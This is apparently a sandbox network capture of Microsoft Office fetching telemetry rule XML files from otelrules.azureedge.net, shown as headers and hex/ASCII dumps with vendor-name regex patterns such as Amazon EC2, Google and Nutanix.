2024-10-31 06:15:10 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:10 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 11245d39-601e-0070-68de-2aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061510Z-159b85dff8fx9jp8hC1DFWp25400000000vg00000000dxkb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:10 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:10 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:10 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:10 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 51ccb76b-001e-0049-0a37-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061510Z-16849878b785dznd7xpawq9gcn0000000ag000000000atmf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 06:15:10 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:10 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:10 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 39d89106-201e-003f-20a3-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061510Z-16849878b78qf2gleqhwczd21s00000009c0000000005eqn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:10 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:11 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:11 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 9f4f074d-601e-00ab-77c7-2a66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061511Z-17c5cb586f62vrfquq10qybcuw000000020g00000000eq0r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:11 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:11 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:11 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 809859d7-601e-00ab-6828-2666f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061511Z-17c5cb586f6wnfhvhw6gvetfh400000008q00000000060sq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:11 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:11 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:11 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 258a372f-501e-0016-350b-2b181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061511Z-15b8d89586fmhkw429ba5n22m80000000ang000000005ze6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:11 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:11 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:11 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:11 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: e05d2f30-201e-006e-17a7-2abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061511Z-159b85dff8fx9jp8hC1DFWp25400000001100000000037h3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:11 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:11 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:11 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 9e4d4e08-401e-0047-1d64-278597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061511Z-16849878b7898p5f6vryaqvp5800000009wg00000000fyfw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:11 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:12 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:12 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 57989b77-d01e-0049-621c-27e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061512Z-16849878b78z2wx67pvzz63kdg00000007tg000000004q4u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:12 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:12 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:12 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:12 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: 9921b831-601e-0097-069c-27f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061512Z-16849878b78fhxrnedubv5byks00000007hg000000001yag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:12 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:12 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:12 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:12 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: e25324d1-d01e-00a1-7b3f-2b35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061512Z-15b8d89586fhl2qtatrz3vfkf00000000ff000000000745n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 06:15:12 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:15:12 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 06:15:12 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:15:12 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 3c5c3d60-c01e-0066-4c9e-26a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T061512Z-16849878b78q9m8bqvwuva4svc00000007r0000000004b03 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 06:15:12 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> 